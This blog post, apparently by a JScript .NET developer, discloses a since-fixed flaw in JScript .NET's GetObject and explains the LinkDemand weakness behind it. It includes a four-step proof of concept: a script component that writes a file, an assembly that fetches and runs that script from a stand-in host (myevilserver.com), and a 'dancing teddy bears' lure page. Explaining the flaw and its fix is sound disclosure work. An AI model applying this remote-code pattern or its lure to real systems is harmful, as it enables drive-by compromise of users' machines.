GetObject and LinkDemands

A few weeks ago I posted a blog entry about a security problem we found with JScript .NET's GetObject method before the initial release of the CLR. Talking about the problem in full would take a while, and I want to get through a few blogs today, so some of the details might have to wait... perhaps forever.

Anyway, first of all, revealing the problem:

Step 1

Create a Windows Script Component containing the following code:

<?xml version="1.0"?>

<package>

  <component id="EvilComponent">

    <script language="JScript">

    <![CDATA[

// Pretty much any kind of code goes here...

      var fso = new ActiveXObject("Scripting.FileSystemObject")

      var file = fso.CreateTextFile("c:\h4x0r.txt")

      file.WriteLine("Ha ha ha, I 0wnz0r j00 now!!!11!1!")

      file.Close()

    ]]>

    </script>

  </component>

</package>

Give the code a name such as evilcomponent.wsc and host it on your public web site, https://www.myevilserver.com/

Step 2

Create a JScript .NET assembly containing the following code:

class
Evil

{

function
Evil()

{

GetObject("script:https://www.myevilserver.com/evilcomponent.wsc")

}

}

Save it to evil.js and compile it with:

jsc /t:library evil.js

This will produce evil.dll. Put the DLL in the web root of your web server along with the WSC.

Step 3

Create a web page with the following HTML

<html>

  <head>

    <title>Dancing Teddy Bears!</title>

    <object classid="evil.dll#Evil"></object>

  </head>

  <body>

    <p>You shouldn't have clicked on that link for dancing teddy bears...</p>

  </body>

</html>

Put it in a file dancing_teddy_bears.html in the web root of your web server with the other two files.

Step 4

Get someone to click on the link to https://www.myevilserver.com/dancing_teddy_bears.html

What went wrong?

The basic problem was this: The functionality of GetObject in both JScript and VB is implemented by the CLR method Marshal.BindToMoniker. As you will now see in the documentation for this method, it is protected by a LinkDemand, which is a particularly tricky kind of "performance feature" <cough> in the CLR that requires a blog entry all of its own. Anyway, without writing that blog here and now, all a LinkDemand requires is that its immediate caller have the requested security permission (in this case, SecurityPermissionFlag.UnmanagedCode). It doesn't do a full stack walk like a real Demand, so it is easy for an unwary caller to leak permissions out to its callers.

In the case of JScript's GetObject function, the immediate caller was a helper method inside Microsoft.JScript.dll which of course was signed with the Microsoft strong name and granted FullTrust by default machine policy (the same was true of VB's GetObject function and their runtime library). So the helper function (the immediate caller) satisfied the LinkDemand and allowed the (much lower privileged) code from the Internet Zone to create a COM object that was very dangerous.

The script moniker (as you can probably tell from the sample code) simply takes the rest of the moniker as a normal URL, loads the script via urlmon, and executes the result. Since calling GetObject is a considered a trusted operation, the script moniker handler doesn't really feel the need to do any kind of security checks of its own, and so arbitrary script code is allowed to download from a hostile site and run without any kind of limitation from a security manager. Ergo, your machine is toast.

How it was fixed

The way we fixed this (and a whole lot of other related problems) is pretty simple: perform a full Demand for callers of GetObject. We are lucky now because tools like FXCop will flag potentially dangerous uses of LinkDemand-protected methods, but in the early days such tools did not exist. Maybe one day I'll talk a bit about some related problems we fixed, and why LinkDemands exist (and why they are bad).